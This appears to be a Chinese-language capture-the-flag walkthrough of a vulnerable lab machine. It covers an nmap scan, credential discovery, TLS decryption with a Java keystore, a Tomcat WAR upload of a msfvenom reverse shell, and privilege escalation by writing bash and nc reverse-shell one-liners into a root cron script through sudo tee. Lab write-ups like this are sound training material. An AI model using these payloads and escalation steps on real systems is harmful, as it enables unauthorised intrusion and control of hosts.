靶机环境
该靶机的ip地址配置的是静态IP地址,192..168.110.140 因此我们直接利用仅主机模式,配置为网段192.168.110.0/24网段即可!
kali攻击机上配置两个网卡!一个用于访问靶机,另一个网卡适用于出网!
信息收集
在信息收集的收集的时候,由于已经确定了靶机的地址,所以直接进行端口的扫描:
发现了所有的端口都开放了,因此判断可能存在相关的防护手段!
探测常用的几个端口
发现还是全部都开放了,探测一下具体的服务和版本信息:
漏洞脚本信息的探测:
# Nmap 7.94 scan initiated Wed Nov 29 17:27:43 2023 as: nmap -sT --script=vuln -p22,80,8080,3306,8081,1433,6379,443 -oN vuln.nmap 192.168.110.140
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.110.140
Host is up (0.00081s latency).PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-sql-injection:
| Possible sqli for queries:
| http://192.168.110.140:80/impresscms/modules/banners/?C=N%3BO%3DD%27%20OR%20sqlspider
| http://192.168.110.140:80/impresscms/modules/banners/?C=S%3BO%3DA%27%20OR%20sqlspider
| http://192.168.110.140:80/impresscms/modules/banners/?C=M%3BO%3DA%27%20OR%20sqlspider
|_ http://192.168.110.140:80/impresscms/modules/banners/?C=D%3BO%3DA%27%20OR%20sqlspider
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-dombased-xss:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.110.140
| Found the following indications of potential DOM based XSS:
|
| Source: window.open('http://www.facebook.com/sharer.php?u='+encodeURIComponent(location.href)
| Pages: http://192.168.110.140:80/impresscms/user.php, http://192.168.110.140:80/impresscms/
|
| Source: window.open('http://www.google.com/bookmarks/mark?op=add&bkmk='+encodeURIComponent(location.href)
| Pages: http://192.168.110.140:80/impresscms/user.php, http://192.168.110.140:80/impresscms/
|
| Source: window.open('http://del.icio.us/post?v=2&url='+encodeURIComponent(location.href)
| Pages: http://192.168.110.140:80/impresscms/user.php, http://192.168.110.140:80/impresscms/
|
| Source: window.open('http://digg.com/submit?phase=2&url='+encodeURIComponent(location.href)
| Pages: http://192.168.110.140:80/impresscms/user.php, http://192.168.110.140:80/impresscms/
|
| Source: window.open('http://www.diigo.com/post?url='+encodeURIComponent(location.href)
| Pages: http://192.168.110.140:80/impresscms/user.php, http://192.168.110.140:80/impresscms/
|
| Source: window.open('http://twitter.com/home?status='+encodeURIComponent(location.href)
|_ Pages: http://192.168.110.140:80/impresscms/user.php, http://192.168.110.140:80/impresscms/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
| http-enum:
| /.gitignore: Revision control ignore file
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.110.140
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.110.140:80/breach.html
| Form id:
| Form action: index.html
|
| Path: http://192.168.110.140:80/impresscms/user.php
| Form id:
| Form action: http://192.168.110.140/impresscms/user.php
|
| Path: http://192.168.110.140:80/impresscms/user.php
| Form id:
| Form action: index.php
|
| Path: http://192.168.110.140:80/impresscms/user.php
| Form id:
| Form action: user.php
|
| Path: http://192.168.110.140:80/impresscms/user.php
| Form id:
| Form action: lostpass.php
|
| Path: http://192.168.110.140:80/impresscms/user.php
| Form id:
| Form action: http://192.168.110.140/impresscms/search.php
|
| Path: http://192.168.110.140:80/impresscms/
| Form id:
| Form action: http://192.168.110.140/impresscms/user.php
|
| Path: http://192.168.110.140:80/impresscms/
| Form id:
| Form action: index.php
|
| Path: http://192.168.110.140:80/impresscms/
| Form id:
| Form action: user.php
|
| Path: http://192.168.110.140:80/impresscms/
| Form id:
| Form action: lostpass.php
|
| Path: http://192.168.110.140:80/impresscms/
| Form id:
|_ Form action: http://192.168.110.140/impresscms/search.php
443/tcp open https
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_ssl-ccs-injection: No reply from server (TIMEOUT)
1433/tcp open ms-sql-s
3306/tcp open mysql
6379/tcp open redis
8080/tcp open http-proxy
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
8081/tcp open blackice-icecap# Nmap done at Wed Nov 29 17:33:38 2023 -- 1 IP address (1 host up) scanned in 354.94 seconds
渗透测试
80端口上开放的服务:
直接翻译了图片中的英文,大概说的就是这个公司被入侵了,造成了非常严重的后果,最终的原因不是黑客造成的,而是一名心怀不满的前雇员离职时留下的临别礼物。
查看源码中的信息,发现base64编码的字符串!
尝试对这串字符串进行解码!
pgibbons:damnitfeel$goodtobeagang$ta
以上是解码拿到的信息!同时在源码中可以发现,图片存在一个链接!
来到了ImpressCMS的登陆界面:
使用上面的账号和密码,便可以直接进行登录了:
登陆进来之后,发现东西比较多,直接就看花眼睛了~
一点点来看吧 :
robots.txt
因为我们已经知道了这是impress cms内容管理系统,但是我们并不知道这个内容管理系统的版本是多少。所以就无法通过searchsploit去定位到具体的漏洞信息:
盲测了这些漏洞,没有能利用的~ 可能还是路子不对!看了看收件箱里面的三个邮件:
发现一个用户是Bill
整个邮箱看下来发现了几个用户
Bob
admin
Michael
Bill
registrar
同时在最后面的一个邮箱里面发现了一些敏感的信息,就是感谢购买了一个证书? 然后说是bob给peter发邮件说 不知道这是个什么东西,他把文件保存在.keystore中!
这里我就去下载下来了这个文件,但是并没有找到这个的价值所在(数据包里面的内容是加密的)
没什么思路,怀疑又是自己没见过的东西,利用file命令来查看keystore文件的属性:
说是java的keystore!看了一下wp,用到了一个工具,keytool!
【Java可执行命令】(十一)Java 密钥库和证书管理工具keytool:玩转密钥库和证书管理,深入解析keytool工具的应用与技巧~_java keytool-CSDN博客
利用keytool -list命令列出密钥库中的条目!
keytool -list -keystore 密钥库文件名
但是需要输入密码~
这里看到第三个邮件中的内容说是storepasswd 和 keypasswd都是tomcat 尝试输入密码tomcat!
拿到如上的信息!下面的语句提示我们转换为PKCS12格式~
keytool -importkeystore -srckeystore keystore -destkeystore keystore -deststoretype pkcs12
直接进行转换!重命名为key.p12 将这个证书导入到wireshark中!
地址和端口号上面都已经显示了!
配置完成之后,便可以看到加密的流量已经被解密出来了!
可以看到存在一个cmd.jsp文件能够执行命令,不过是在8443端口上
发现tomcat使用basic进行的认证,发现tomcat:Tt\5D8F(#!*u=G)4m7zB
访问发现访问不到页面~ 尝试访问/_M@nag3Me/html 发现存在账号和密码~ 输入上面找到的账号和密码信息,成功登录到Apache页面!
发现存在WAR文件上传~ 上传反弹shell的马
MSF上传反弹shell
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=2222 -f war -o tomcat.war
MSF起监听器,进行监听:
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 2222
run
上传成功之后,点击上传的文件,便可以在msf上接收到shell!
提权
查看当前用户为tomcat6!
利用python提升shell的交互性!
查看/etc/passwd!
发现存在两个具有bash的用户!milton和blumgergh!
在/var/www目录下面找到两个名字比较长的php文件,发现了mysql的配置信息!
然后直接连接他的mysql数据库!
同时在mysql数据库中发现了user表!里面存在用户名和密码:
尝试破解得到了milton用户的密码!
thelaststraw
尝试密码的碰撞,直接切换用户!
成功登录到milton用户中!尝试查看当前用户所拥有的权限!
没有sudo的权限~ 同时查看具有suid权限的文件:
find / -perm -u=s -type f 2>/dev/null
同样还是没有找到可以利用的方法!尝试上传linpeas脚本,进行漏洞的探测:
存在脏牛内核漏洞,尝试利用这两个漏洞进行提权~ 失败了 在利用的过程中,会导致无法访问到靶机!
需要重新启动靶机!这也是内核漏洞提权的缺点,可能就会导致靶机重启,或者服务中断等各种意外的情况,被管理员发现~
这里不再尝试内核漏洞提权~ 尝试其他的方式 却找不到可以利用的方式!有点点强迫方法:
图片隐写获取密码
在images目录下面有一个图片:
说是这个图片里面隐写了密码,是另一个用户的密码信息~ 这个我是真的想不到~
既然知道了这个图片中隐写了相关的密码,那就下载下来看看里面都有什么信息:
wget http://192.168.110.140/images/bill.png
这里我就直接保存到password.txt文件中了,尝试利用hydra进行爆破!
发现无法进行爆破~ 无法连接到ssh上,连接被重置~ 还是回到我们拿到的password文件中,看看有没有疑似密码的字符串,在msf中利用su进行切换!
最后面的三个比较像,当然中间这个更像!就先试试:
密码正确,切换成功~ 查看当前用户的sudo权限!
上面的代码的含义便是:以root身份,且不需要密码,利用/usr/bin/tee命令执行/usr/share/cleanup/tidyup.sh脚本!
首先我们需要了解一下tee命令是干什么用的!
tee命令用于读取标准输入的数据,将其内容输出到标准输出设备,同时保存成文件
-a 追加到文件内容中~
查看tidyup.sh文件中的内容,看一下这个sh文件的作用是干什么:
该脚本每三分钟执行一次~ 应该是删除掉了webapps目录下面的东西~ 因此我们尝试将反弹shell写入到这个文件中,但是这个文件我们并没有写入的权限:
但是可以利用tee命令进行文件的写入!
echo "bash -c '/bin/bash -i >& /dev/tcp/192.168.110.128/3333 0>&1'" |sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
利用nc也是可以的!
echo "nc -e /bin/bash 192.168.110.128 3333 " | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh